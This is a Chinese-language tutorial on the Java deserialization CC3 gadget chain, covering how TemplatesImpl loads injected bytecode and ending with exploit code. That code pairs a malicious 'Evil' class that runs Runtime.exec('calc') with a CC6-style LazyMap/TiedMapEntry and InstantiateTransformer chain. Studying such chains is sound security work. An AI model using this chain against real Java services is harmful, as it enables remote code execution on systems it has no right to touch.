java反序列化CC3链

前言

想起来后续很多链子都是得打TemplatesImpl类
那就在CC3链子上,补充一下相关的内容
注意依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

方便将恶意类写入TemplatesImpl类

TemplatesImpl类

为什么这个类是特殊的,它有哪些好东西吗?
因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码
defineClass 字节码加载任意类(这是私有方法),所以我们要一直溯源,找到一个能进行调用的public方法
跟进defineTransletClasses方法,查看在哪里被调用
发现getTransletInstance方法,但他仍旧不是public,继续跟进
发现newTransformer方法调用了getTransletInstance方法,而它正是public方法
至此,我们的目标变成了,只有有一个类能调用到TemplatesImpl的newTransformer方法
那么就可以实现RCE

1
2
3
4
5
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass

使用javassist

这个工具只是辅助我们生成恶意类的字节码
比如

1
2
3
4
5
6
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});

Evil是我们的恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public Evil() {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

如何调用TemplatesImpl类呢?
有7u21链调用getter方法;也有invokerTransformer直接调用TemplatesImpl实例的newTransformer方法,也可以利用TrAXFilter类,只要调用它的newInstance方法,即可调用TemplatesImpl的newTransformer方法,什么来调用newInstance呢?
instantiateTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return (T)con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

exp

综上,前面的链子和之前一样,可以走CC6,也可以走CC4的链子,这里走CC6的吧,毕竟CC4还没写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
CtClass clazz =
ClassPool.getDefault().get(com.example.Evil.class.getName());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers={
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "1221");
outerMap.remove("keykey");
setFieldValue(chainedTransformer,"iTransformers",transformers);

这里为啥放faketransformers呢,防止在生成链子的时候指向命令(),导致命令执行

结语

这里也只是简单介绍一下,CC3链引入了新的RCE方式,以后也会见到很多次